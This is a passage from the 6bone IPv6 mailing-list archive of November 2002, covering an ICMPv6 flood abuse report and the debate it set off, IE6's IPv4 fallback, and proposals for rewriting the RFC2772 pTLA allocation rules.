about 0430GMT - 1030GMT.  I was onsite at Kennedy Space Center during this
window and obviously, my pager was not functioning in that environment.

When I got off the plane this morning, I got the page.

Anyway, if you have some little puke abuse your (and MY) network, kill
them and let us know who they are so none of US give them service either


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


---------- Forwarded message ----------
Date: Mon, 11 Nov 2002 11:37:08 +0100
From: Jan Oravec <jan.oravec@xs26.net>
To: ipv6-support@mimos.my, ina@mimos.my, roha@mimos.my
Cc: tvo@EnterZone.Net, yap@yapsoft.it, noc@xs26.net
Subject: abuse notification

Dear operator at MIMOS-MY,

Our NOC detected about 5 Mbps ICMP flood originating from your network at
11-th November 10:59 CET.

11:11:06.357760 3ffe:80d0:50:2::1ffd > 3ffe:80ee:5e7::c:1992: icmp6: echo request

We have received the flood via ENTERZONE peering at our New York PoP. The
traffic was destinated to one of our user.

In order to protect our transatlantic network paths, we have been forced to
temporarily shutdown our peering with ENTERZONE. We will re-enable it as
soon as traffic is stopped.


We kindly ask you to solve this issue.

Copy of this mail has been sent to ENTERZONE NOC and technical contact of our user.


Best Regards,

-- 
Jan Oravec
project coordinator
XS26 - 'Access to IPv6'  
http://www.xs26.net
jan.oravec@xs26.net


From pekkas@netcore.fi Mon Nov 11 11:20:44 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] abuse notification (fwd)
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On Mon, 11 Nov 2002, John Fraizer wrote:
> OK people.  For crying out loud.  If you see a 5Mb/s spike on v6 network,
> what would this indicate to you?  To me, it indicates that some little
> shit needs to be hunted down and beaten down into little turd pieces.
[...]

To me, it indicates a small fraction of our v6 newsfeed traffic.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From tvo@EnterZone.Net Mon Nov 11 13:16:02 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] abuse notification (fwd)
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On Mon, 11 Nov 2002, Pekka Savola wrote:

> On Mon, 11 Nov 2002, John Fraizer wrote:
> > OK people.  For crying out loud.  If you see a 5Mb/s spike on v6 network,
> > what would this indicate to you?  To me, it indicates that some little
> > shit needs to be hunted down and beaten down into little turd pieces.
> [...]
> 
> To me, it indicates a small fraction of our v6 newsfeed traffic.
> 
> -- 
> Pekka Savola                 "Tell me of difficulties surmounted,


Pekka, the operative word here is SPIKE.  IE; Out of the ordinary or
uncharacteristic.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From owens@nysernet.org Mon Nov 11 13:53:39 2002
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Date: Mon, 11 Nov 2002 16:53:31 -0500
To: John Fraizer <tvo@EnterZone.Net>, Pekka Savola <pekkas@netcore.fi>
From: Bill Owens <owens@nysernet.org>
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At 16:15 -0500 11/11/02, John Fraizer wrote:
>On Mon, 11 Nov 2002, Pekka Savola wrote:
>  > To me, it indicates a small fraction of our v6 newsfeed traffic.
>
>Pekka, the operative word here is SPIKE.  IE; Out of the ordinary or
>uncharacteristic.

One could imagine that a routing change could redirect someone's v6 
newsfeed across a new network that was used to the usual IPv6 traffic 
loads (tens of kbps), and cause some suprise. Obviously that was not 
the case here, since the other end reported that the packets were 
echo requests. But it does make the point that a network operator 
used to having almost no v6 traffic might be quite suprised should 
they suddenly see even a steady traffic load. The initial reaction 
shouldn't be to assume DoS without knowing more about the nature of 
the traffic. . .

Bill.

From michel@arneill-py.sacramento.ca.us Mon Nov 11 14:01:08 2002
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Subject: [6bone] NDSOFTWARE pTLA review 
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> Pim van Pelt wrote:
> I think Bob makes a valid point that we should revise
> RFC2772 to make the pTLA allocation request less
> ambiguous in the future. Let's procede with 6BONE and
> keep this list at the high quality standard that it's
> always been !

I would add to this that it would make a lot of sense to kill two birds
with one stone and make this an opportunity for the move towards the
RIRs.

Michel.


From hansolofalcon@worldnet.att.net Mon Nov 11 14:18:37 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@mailman.isi.edu>
Subject: RE: [6bone] abuse notification (fwd)
Date: Mon, 11 Nov 2002 17:18:47 -0500
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Hello from Gregg C Levine
Yes, John, you are quite right. That is the operative word. I certainly
hope that you, and your staff, gave them a good thrashing over this
stupidity that they are complaining about. I refuse to believe that your
outfit is to blame here. I read the actual message that you forwarded to
the list, and the facts don't add up. I could see the events of a
high-jacking of an allocation, going on, but that insanity? It just does
not make sense.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On
> Behalf Of John Fraizer
> Sent: Monday, November 11, 2002 4:16 PM
> To: Pekka Savola
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] abuse notification (fwd)
> 
> 
> On Mon, 11 Nov 2002, Pekka Savola wrote:
> 
> > On Mon, 11 Nov 2002, John Fraizer wrote:
> > > OK people.  For crying out loud.  If you see a 5Mb/s spike on v6
network,
> > > what would this indicate to you?  To me, it indicates that some
little
> > > shit needs to be hunted down and beaten down into little turd
pieces.
> > [...]
> >
> > To me, it indicates a small fraction of our v6 newsfeed traffic.
> >
> > --
> > Pekka Savola                 "Tell me of difficulties surmounted,
> 
> 
> Pekka, the operative word here is SPIKE.  IE; Out of the ordinary or
> uncharacteristic.
> 
> 
> ---
> John Fraizer              | High-Security Datacenter Services |
> President                 | Dedicated circuits 64k - 155M OC3 |
> EnterZone, Inc            | Virtual, Dedicated, Colocation    |
> http://www.enterzone.net/ | Network Consulting Services       |
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From pasky@machine.sinus.cz Mon Nov 11 14:38:27 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
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Dear diary, on Mon, Nov 11, 2002 at 08:20:30PM CET, I got a letter,
where Pekka Savola <pekkas@netcore.fi> told me, that...
> On Mon, 11 Nov 2002, John Fraizer wrote:
> > OK people.  For crying out loud.  If you see a 5Mb/s spike on v6 network,
> > what would this indicate to you?  To me, it indicates that some little
> > shit needs to be hunted down and beaten down into little turd pieces.
> [...]
> 
> To me, it indicates a small fraction of our v6 newsfeed traffic.

  Well, the type of traffic matters a lot for us here. People running our
(XS26') points of presence basically donate the bandwidth to us, and they are
ready to support higher data flows (at least up to certain degree), even though
these are still more than unusual in the today's v6 world. But we are careful
when the traffic suddenly peaks dramatically and we usually carefully examine
what's flowing through the wires - while it's ok for us to donate the bandwidth
for regular v6 traffic, we don't feel like donating our bandwidth for ICMPv6
floods.

-- 
 
				Petr "Pasky" Baudis
.
This host is a black hole at HTTP wavelengths. GETs go in, and nothing
comes out, not even Hawking radiation.
                -- Graaagh the Mighty on rec.games.roguelike.angband
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From tvo@EnterZone.Net Mon Nov 11 14:55:33 2002
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Date: Mon, 11 Nov 2002 17:55:30 -0500 (EST)
From: John Fraizer <tvo@EnterZone.Net>
To: Bill Owens <owens@nysernet.org>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] abuse notification (fwd)
In-Reply-To: <a05111b09b9f5d62e4be8@[199.109.32.35]>
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On Mon, 11 Nov 2002, Bill Owens wrote:

> At 16:15 -0500 11/11/02, John Fraizer wrote:
> >On Mon, 11 Nov 2002, Pekka Savola wrote:
> >  > To me, it indicates a small fraction of our v6 newsfeed traffic.
> >
> >Pekka, the operative word here is SPIKE.  IE; Out of the ordinary or
> >uncharacteristic.
> 
> One could imagine that a routing change could redirect someone's v6 
> newsfeed across a new network that was used to the usual IPv6 traffic 
> loads (tens of kbps), and cause some suprise. Obviously that was not 
> the case here, since the other end reported that the packets were 
> echo requests. But it does make the point that a network operator 
> used to having almost no v6 traffic might be quite suprised should 
> they suddenly see even a steady traffic load. The initial reaction 
> shouldn't be to assume DoS without knowing more about the nature of 
> the traffic. . .
> 
> Bill.


OK.  This brings on a very good point when it comes time to choose
peers.  It's a bad idea to accept transit from someone who can't handle
your "normal" traffic, even if it is temporary "backup" transit.

Why?  Because if your NORMAL traffic is going to swamp their network, they
are of no use to you as a transit peer and you are a liability to their
network.

As indicated though, this particular instance was ICMP based.  The only
role EnterZone played in this was as a transit AS.  We did not
characterization of traffic at all.  XS26 simply cc'd us on the abuse
notification because to mitigate the effects of the attack, they had to
temporary shutdown our peering session.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From stansley@microsoft.com Mon Nov 11 18:45:10 2002
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Subject: RE: [6bone] www.6bone.not
Date: Mon, 11 Nov 2002 18:44:53 -0800
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Thread-Topic: [6bone] www.6bone.not
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From: "Stewart Tansley" <stansley@microsoft.com>
To: "Gav" <old_mc_donald@hotmail.com>
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> As I have IPv6 installed WinXP decided to resolve www.6bone.net to its
IPv6 address, and as I never had a tunnel configured it wouldn't reach
it.
>
> Question for Stuart then, 
> This could present a problem for lots of Microsoft users if they have
XP with (accidentally or not) the IPv6 stack installed. Even if a v4
version of a site exists, it will not be looked for as the v6 address of
the site has not been reached, by default it seems that if a v6 version
exists it will look for that and if not found will return an error.

Gav -- IE6 does fall back to using IPv4 if the IPv6 connection is
unsuccessful.

IE6 (and other IPv6-savvy Windows apps) explicitly queries for both AAAA
and A records from the DNS via the stack's call to the DNS client. The
combined results from the DNS server are returned to the app in a list.
It is the apps responsibility to cycle through the list. IE6 is written
to do this correctly (i.e. try IPv6 addresses first, then IPv4), so it
should by design fall back to using IPv4 if the IPv6 connection fails
for some reason. If this is apparently not happening, it is likely a
problem with either *both* transports to the web site, or the DNS server
you are querying is not returning both AAAA and A records correctly. We
have seen some of the latter.

Stewart Tansley
Program Manager
http://www.microsoft.com/ipv6/ 

From fink@es.net Tue Nov 12 08:06:58 2002
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From: Bob Fink <fink@es.net>
Cc: David Kessens <david@iprg.nokia.com>, Robert Rockell <rrockell@sprint.net>,
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Subject: [6bone] RFC2772 rewrite
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6bone Folk,

As noted last week, the pTLA review panel felt strongly that it was time to 
rewrite/update RFC2772.

Thus we would like to call for ideas/suggestions/issues for the rewrite. 
Please send your comments to the list, or to one of the panel folk if you 
want to comment privately.

Also, if it would be useful to have an ad hoc 6bone meeting in Atlanta, 
please let us know. Although I will not be at this IETF, someone else from 
the panel could lead the discussion.


Regarding 6bone operating issues, please look at Pekka Savola's 6bone-mess 
draft to see if you think any/all of it should be included in the RFC2772 
rewrite:

>A New Internet-Draft is available from the on-line Internet-Drafts 
>directories.
>
>
>         Title           : Moving from 6bone to IPv6 Internet
>         Author(s)       : P. Savola
>         Filename        : draft-savola-v6ops-6bone-mess-00.txt
>         Pages           : 13
>         Date            : 2002-10-24
>
>Currently, IPv6 Internet is, globally considered, inseparable from
>the 6bone network.  The 6bone has been built as a tighly meshed
>tunneled topology.  As the number of participants has grown, it has
>become an untangible mess, hindering the real deployment of IPv6 due
>to low quality of connections.  This memo discusses the nature and
>the state of 6bone/IPv6 Internet, points out problems and outlines a
>few ways to start fixing them; also, some rough operational
>guidelines for different-sized organizations are presented.  The most
>important issues are: not offering transit to everyone and real
>transit operators being needed to take a more active role.
>
>A URL for this Internet-Draft is:
>http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-00.txt


Thanks,

Bob


From mark@npsl.co.uk Tue Nov 12 09:00:30 2002
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From: "Mark Weaver" <mark@npsl.co.uk>
To: "6BONE List" <6bone@mailman.isi.edu>
Subject: RE: [6bone] RFC2772 rewrite
Date: Tue, 12 Nov 2002 17:00:15 -0000
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The link gives me a 404, from a couple of places (over IPv4 :)...

> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]On
> Behalf Of Bob Fink
> Sent: 12 November 2002 16:06
> To: 6BONE List
> Cc: David Kessens; Robert Rockell; Gert Doering; Jun-ichiro itojun
> Hagino; Bob Fink
> Subject: [6bone] RFC2772 rewrite
>
>
> 6bone Folk,
>
> As noted last week, the pTLA review panel felt strongly that it
> was time to
> rewrite/update RFC2772.
>
> Thus we would like to call for ideas/suggestions/issues for the rewrite.
> Please send your comments to the list, or to one of the panel folk if you
> want to comment privately.
>
> Also, if it would be useful to have an ad hoc 6bone meeting in Atlanta,
> please let us know. Although I will not be at this IETF, someone
> else from
> the panel could lead the discussion.
>
>
> Regarding 6bone operating issues, please look at Pekka Savola's
> 6bone-mess
> draft to see if you think any/all of it should be included in the RFC2772
> rewrite:
>
> >A New Internet-Draft is available from the on-line Internet-Drafts
> >directories.
> >
> >
> >         Title           : Moving from 6bone to IPv6 Internet
> >         Author(s)       : P. Savola
> >         Filename        : draft-savola-v6ops-6bone-mess-00.txt
> >         Pages           : 13
> >         Date            : 2002-10-24
> >
> >Currently, IPv6 Internet is, globally considered, inseparable from
> >the 6bone network.  The 6bone has been built as a tighly meshed
> >tunneled topology.  As the number of participants has grown, it has
> >become an untangible mess, hindering the real deployment of IPv6 due
> >to low quality of connections.  This memo discusses the nature and
> >the state of 6bone/IPv6 Internet, points out problems and outlines a
> >few ways to start fixing them; also, some rough operational
> >guidelines for different-sized organizations are presented.  The most
> >important issues are: not offering transit to everyone and real
> >transit operators being needed to take a more active role.
> >
> >A URL for this Internet-Draft is:
> >http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-00.txt
>
>
> Thanks,
>
> Bob
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From celinn@rat.cec.mtu.edu Tue Nov 12 09:24:04 2002
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Date: Tue, 12 Nov 2002 12:23:53 -0500
From: Christopher Linn <celinn@mtu.edu>
To: Mark Weaver <mark@npsl.co.uk>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] RFC2772 rewrite
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On Tue, Nov 12, 2002 at 05:00:15PM -0000, Mark Weaver wrote:
> The link gives me a 404, from a couple of places (over IPv4 :)...
[...]
> > >A URL for this Internet-Draft is:
> > >http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-00.txt

http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt

seems to work  ;*>

chris

-- 
Christopher Linn, (celinn at mtu.edu) | By no means shall either the CEC
Staff System Administrator            | or MTU be held in any way liable
  Center for Experimental Computation | for any opinions or conjecture I
    Michigan Technological University | hold to or imply to hold herein.

From uriah_pollock@mentorg.com Tue Nov 12 09:26:33 2002
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From: "Pollock, Uriah" <uriah_pollock@mentorg.com>
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Subject: RE: [6bone] RFC2772 rewrite
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Try this one:

http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt


-----Original Message-----
From: Mark Weaver [mailto:mark@npsl.co.uk]
Sent: Tuesday, November 12, 2002 11:00 AM
To: 6BONE List
Subject: RE: [6bone] RFC2772 rewrite


The link gives me a 404, from a couple of places (over IPv4 :)...

> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]On
> Behalf Of Bob Fink
> Sent: 12 November 2002 16:06
> To: 6BONE List
> Cc: David Kessens; Robert Rockell; Gert Doering; Jun-ichiro itojun
> Hagino; Bob Fink
> Subject: [6bone] RFC2772 rewrite
>
>
> 6bone Folk,
>
> As noted last week, the pTLA review panel felt strongly that it
> was time to
> rewrite/update RFC2772.
>
> Thus we would like to call for ideas/suggestions/issues for the rewrite.
> Please send your comments to the list, or to one of the panel folk if you
> want to comment privately.
>
> Also, if it would be useful to have an ad hoc 6bone meeting in Atlanta,
> please let us know. Although I will not be at this IETF, someone
> else from
> the panel could lead the discussion.
>
>
> Regarding 6bone operating issues, please look at Pekka Savola's
> 6bone-mess
> draft to see if you think any/all of it should be included in the RFC2772
> rewrite:
>
> >A New Internet-Draft is available from the on-line Internet-Drafts
> >directories.
> >
> >
> >         Title           : Moving from 6bone to IPv6 Internet
> >         Author(s)       : P. Savola
> >         Filename        : draft-savola-v6ops-6bone-mess-00.txt
> >         Pages           : 13
> >         Date            : 2002-10-24
> >
> >Currently, IPv6 Internet is, globally considered, inseparable from
> >the 6bone network.  The 6bone has been built as a tighly meshed
> >tunneled topology.  As the number of participants has grown, it has
> >become an untangible mess, hindering the real deployment of IPv6 due
> >to low quality of connections.  This memo discusses the nature and
> >the state of 6bone/IPv6 Internet, points out problems and outlines a
> >few ways to start fixing them; also, some rough operational
> >guidelines for different-sized organizations are presented.  The most
> >important issues are: not offering transit to everyone and real
> >transit operators being needed to take a more active role.
> >
> >A URL for this Internet-Draft is:
> >http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-00.txt
>
>
> Thanks,
>
> Bob
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From pim@ipng.nl Tue Nov 12 09:40:41 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Mark Weaver <mark@npsl.co.uk>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] RFC2772 rewrite
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On Tue, Nov 12, 2002 at 05:00:15PM -0000, Mark Weaver wrote:
| The link gives me a 404, from a couple of places (over IPv4 :)...
That's probably because it's at version 01 already :-)

http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pekkas@netcore.fi Tue Nov 12 09:58:24 2002
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Date: Tue, 12 Nov 2002 19:58:12 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
   Robert Rockell <rrockell@sprint.net>, Gert Doering <gert@space.net>,
   Jun-ichiro itojun Hagino <itojun@iijlab.net>
Subject: Re: [6bone] RFC2772 rewrite
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On Tue, 12 Nov 2002, Bob Fink wrote:
> Thus we would like to call for ideas/suggestions/issues for the rewrite. 
> Please send your comments to the list, or to one of the panel folk if you 
> want to comment privately.
> 
> Also, if it would be useful to have an ad hoc 6bone meeting in Atlanta, 
> please let us know. Although I will not be at this IETF, someone else from 
> the panel could lead the discussion.

Yes, I believe such a meeting could be useful.  A more extensive
discussion, possibly around problems/solutions in my draft (and other
topics) would be possible -- there may be a little time allocated for this
in the v6ops meeting, but I believe the time is probably a scarce resource
there.
 
> Regarding 6bone operating issues, please look at Pekka Savola's 6bone-mess 
> draft to see if you think any/all of it should be included in the RFC2772 
> rewrite:

Note that the revision number is now -01 (already! :-).
 
> >A New Internet-Draft is available from the on-line Internet-Drafts 
> >directories.
> >
> >
> >         Title           : Moving from 6bone to IPv6 Internet
> >         Author(s)       : P. Savola
> >         Filename        : draft-savola-v6ops-6bone-mess-00.txt
> >         Pages           : 13
> >         Date            : 2002-10-24
> >
> >Currently, IPv6 Internet is, globally considered, inseparable from
> >the 6bone network.  The 6bone has been built as a tighly meshed
> >tunneled topology.  As the number of participants has grown, it has
> >become an untangible mess, hindering the real deployment of IPv6 due
> >to low quality of connections.  This memo discusses the nature and
> >the state of 6bone/IPv6 Internet, points out problems and outlines a
> >few ways to start fixing them; also, some rough operational
> >guidelines for different-sized organizations are presented.  The most
> >important issues are: not offering transit to everyone and real
> >transit operators being needed to take a more active role.
> >
> >A URL for this Internet-Draft is:
> >http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-00.txt
> 
> 
> Thanks,
> 
> Bob
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pim@ipng.nl Tue Nov 12 10:01:42 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
   Robert Rockell <rrockell@sprint.net>, Gert Doering <gert@space.net>,
   Jun-ichiro itojun Hagino <itojun@iijlab.net>
Subject: Re: [6bone] RFC2772 rewrite
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| Thus we would like to call for ideas/suggestions/issues for the rewrite. 
| Please send your comments to the list, or to one of the panel folk if you 
| want to comment privately.
See below.

 
| Also, if it would be useful to have an ad hoc 6bone meeting in Atlanta, 
| please let us know. Although I will not be at this IETF, someone else from 
| the panel could lead the discussion.

I'm sorry to say that I do not frequently travel outside of the European
continent, but shall we have a discussion at the upcoming RIPE meeting
in Amsterdam, early 2003 ? We can take some coffeetime and get together.

Regarding the 2772 rewrite, here's what comes to mind:
* Should we have an upper bound in time in which one can operate a pTLA ?
This will then stress the experimental nature of the allocation. 

* Should we have people running a pTLA next to their RIR space return
their allocation to 6BONE ?

* I think we should verify the existance of a founded company that will
be the holder of the allocation. This might come in handy when/if we
have a doubtful indivudual/company requesting space. I do not support
individuals having globally routable IPv6 space.

* Should there be any form of Common Sense Peering, eg recommendations
for filtering and tunneling.

* Should we seperate the 6BONE cloud from the production IPv6 cloud ? This
is not really an RFC2772 issue, but does come to mind.

While the Netherlands is getting more and more IPv6 aware (20 or so commercial
entities out of 140 at AMS-IX are connecting right now), and 'real'
transit providers start offering service, I cannot yet offer stable IPv6
connectivity outside of this AMS-IX cloud. I have heard sounds of operators
filtering out 3ffe::/16 due to its impact on general availablility of
IPv6 to their customers. This deserves discussion!

Also, what about the previous pTLA allocations and general database
tidiness. Jeroen Massar has, on numerous occasions, brought old stuff to
our attention, and perhaps his point on us cleaning the DB up is valid.
Should people that have not been announcing their pTLA have it revoked ? 

Just some thoughts to kick off the discussion.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From rrockell@sprint.net Tue Nov 12 10:45:55 2002
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->Regarding the 2772 rewrite, here's what comes to mind:
->* Should we have an upper bound in time in which one can operate a pTLA ?
->This will then stress the experimental nature of the allocation.

I would think that a periodic check on pTLA allocations, to make sure that
those who have pTLA allocations are still
	-using them
	-using them correctly

would be helpful.  Not sure to set a bound on the allocation.  For instance,
as I have limitations keeping me from deploying a production IPv6 service,
I would not want to be forced into using ARIN assigned space before I have
to (so I can delegate it correctly when the time comes).

->* Should we have people running a pTLA next to their RIR space return
->their allocation to 6BONE ?

Don't know how to treat this one.  I think it is ok for people to have both.
Perhaps we could try to push the RIR's to only delegate space if the company
intends to use it :)

->* I think we should verify the existance of a founded company that will
->be the holder of the allocation. This might come in handy when/if we
->have a doubtful indivudual/company requesting space. I do not support
->individuals having globally routable IPv6 space.

Agreed. We should put something specific into the qualifications.

->* Should there be any form of Common Sense Peering, eg recommendations
->for filtering and tunneling.

Agreed.  Perhaps we should come up with quantitative numbers for tunnel
latency, AS-hops, etc...  Or should we just use generalized guidelines?  As
a more militant member of the 6bone, I'd like something quantitative, so we
can take action when a pTLA violates the rules :)

->* Should we seperate the 6BONE cloud from the production IPv6 cloud ? This
->is not really an RFC2772 issue, but does come to mind.

Don't know that we can influence this from the NGTRANS working group...


->While the Netherlands is getting more and more IPv6 aware (20 or so commercial
->entities out of 140 at AMS-IX are connecting right now), and 'real'
->transit providers start offering service, I cannot yet offer stable IPv6
->connectivity outside of this AMS-IX cloud. I have heard sounds of operators
->filtering out 3ffe::/16 due to its impact on general availablility of
->IPv6 to their customers. This deserves discussion!

So we fix the 6bone, or we cancel it... I think we should fix it.  There is
still transition testing that needs to take place, and it is easier to
renumber/re-build/re-deploy the 6bone than it is to do the same with a
production network :)

->Also, what about the previous pTLA allocations and general database
->tidiness. Jeroen Massar has, on numerous occasions, brought old stuff to
->our attention, and perhaps his point on us cleaning the DB up is valid.
->Should people that have not been announcing their pTLA have it revoked ?

Agreed.

->Just some thoughts to kick off the discussion.
->
->groet,
->Pim
->
->--
->---------- - -    - - -+- - -    - - ----------
->Pim van Pelt                 Email: pim@ipng.nl
->http://www.ipng.nl/             IPv6 Deployment
->-----------------------------------------------
->


From nicolas.deffayet@ndsoftware.net Tue Nov 12 12:26:49 2002
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Subject: Re: [6bone] RFC2772 rewrite
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
   Robert Rockell <rrockell@sprint.net>, Gert Doering <gert@space.net>,
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On Tue, 2002-11-12 at 17:06, Bob Fink wrote:
6bone Folk,

> Thus we would like to call for ideas/suggestions/issues for the rewrite. 
> Please send your comments to the list, or to one of the panel folk if you 
> want to comment privately.

I think that it can be a good idea to add this to RFC2772:

- The pTLA Applicant must have a valid public ASN (no private or no
allocated ASN).

=> a pTLA have been allocated with a no allocated ASN
http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page17.html


- The pTLA Applicant must have 2 transits.

=> a pTLA is for be independent of a upstream


- The pTLA Applicant must use filter
http://www.space.net/~gert/RIPE/ipv6-filters.html
http://noc.ndsoftwarenet.com/docs/route-filtering.php

=> See Gert Doring's presentation:
http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page14.html
http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page15.html


- The pTLA Applicant must reply to technical problems within 24 hours.

=> don't forgot AS1654...
http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-ipv6-table/page18.html


Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From nicolas.deffayet@ndsoftware.net Tue Nov 12 13:03:33 2002
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Subject: Re: [6bone] RFC2772 rewrite
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: "Robert J. Rockell" <rrockell@sprint.net>
Cc: 6bone@mailman.isi.edu
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On Tue, 2002-11-12 at 19:47, Robert J. Rockell wrote:
> ->Also, what about the previous pTLA allocations and general database
> ->tidiness. Jeroen Massar has, on numerous occasions, brought old stuff to
> ->our attention, and perhaps his point on us cleaning the DB up is valid.
> ->Should people that have not been announcing their pTLA have it revoked ?
> 
> Agreed.

Agreed too.

For whois.6bone.net:

-> activate mnt-lower feature
-> add route object for register announced routes
-> add aut-num object for register IPv6 peers

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From gert@Space.Net Tue Nov 12 13:29:17 2002
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Subject: Re: [6bone] RFC2772 rewrite
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Hi,

On Tue, Nov 12, 2002 at 01:47:44PM -0500, Robert J. Rockell wrote:
> ->* Should we have people running a pTLA next to their RIR space return
> ->their allocation to 6BONE ?
> 
> Don't know how to treat this one.  I think it is ok for people to have both.
> Perhaps we could try to push the RIR's to only delegate space if the company
> intends to use it :)

Well, this is one of the criteria for allocating RIR space at all - if
the company intends to allocate 200 /48s to end sites over the next two
years.  (Neither "200" nor "two years" are checked very strictly right
now, but it's the written rule).

[..]
> ->* Should there be any form of Common Sense Peering, eg recommendations
> ->for filtering and tunneling.
> 
> Agreed.  Perhaps we should come up with quantitative numbers for tunnel
> latency, AS-hops, etc...  Or should we just use generalized guidelines?  As
> a more militant member of the 6bone, I'd like something quantitative, so we
> can take action when a pTLA violates the rules :)

I'm against hard quantitative rules for something that's constantly changing.

The reason is that things that make sense "today" might be totally
irresponsible "tomorrow" - the tunnel mess is part of that.  Some years
ago it was absolutely necessary to get connectivity, today it's doubtful,
in a few years the tunnels should (hopefully) completely go away.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48540  (48282)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Tue Nov 12 14:23:02 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@mailman.isi.edu>,
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Subject: Re: [6bone] RFC2772 rewrite
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On 12 Nov 2002, Nicolas DEFFAYET wrote:
> - The pTLA Applicant must have 2 transits.
> 
> => a pTLA is for be independent of a upstream

Do you mean:

"The pTLA Applicant must have _only_ 2 transits" 

or

"The pTLA Applicant must have at least 2 transits"

or something like:

"The pTLA Applicant must not acquire more than 2 transits"
[my favourite :-)]

Note -- I'm only half-joking here!

Restricting the number of trensits a pTLA can have and provide transit for 
seems like a very sane approach to me!

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From nicolas.deffayet@ndsoftware.net Tue Nov 12 14:27:36 2002
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Subject: Re: [6bone] RFC2772 rewrite
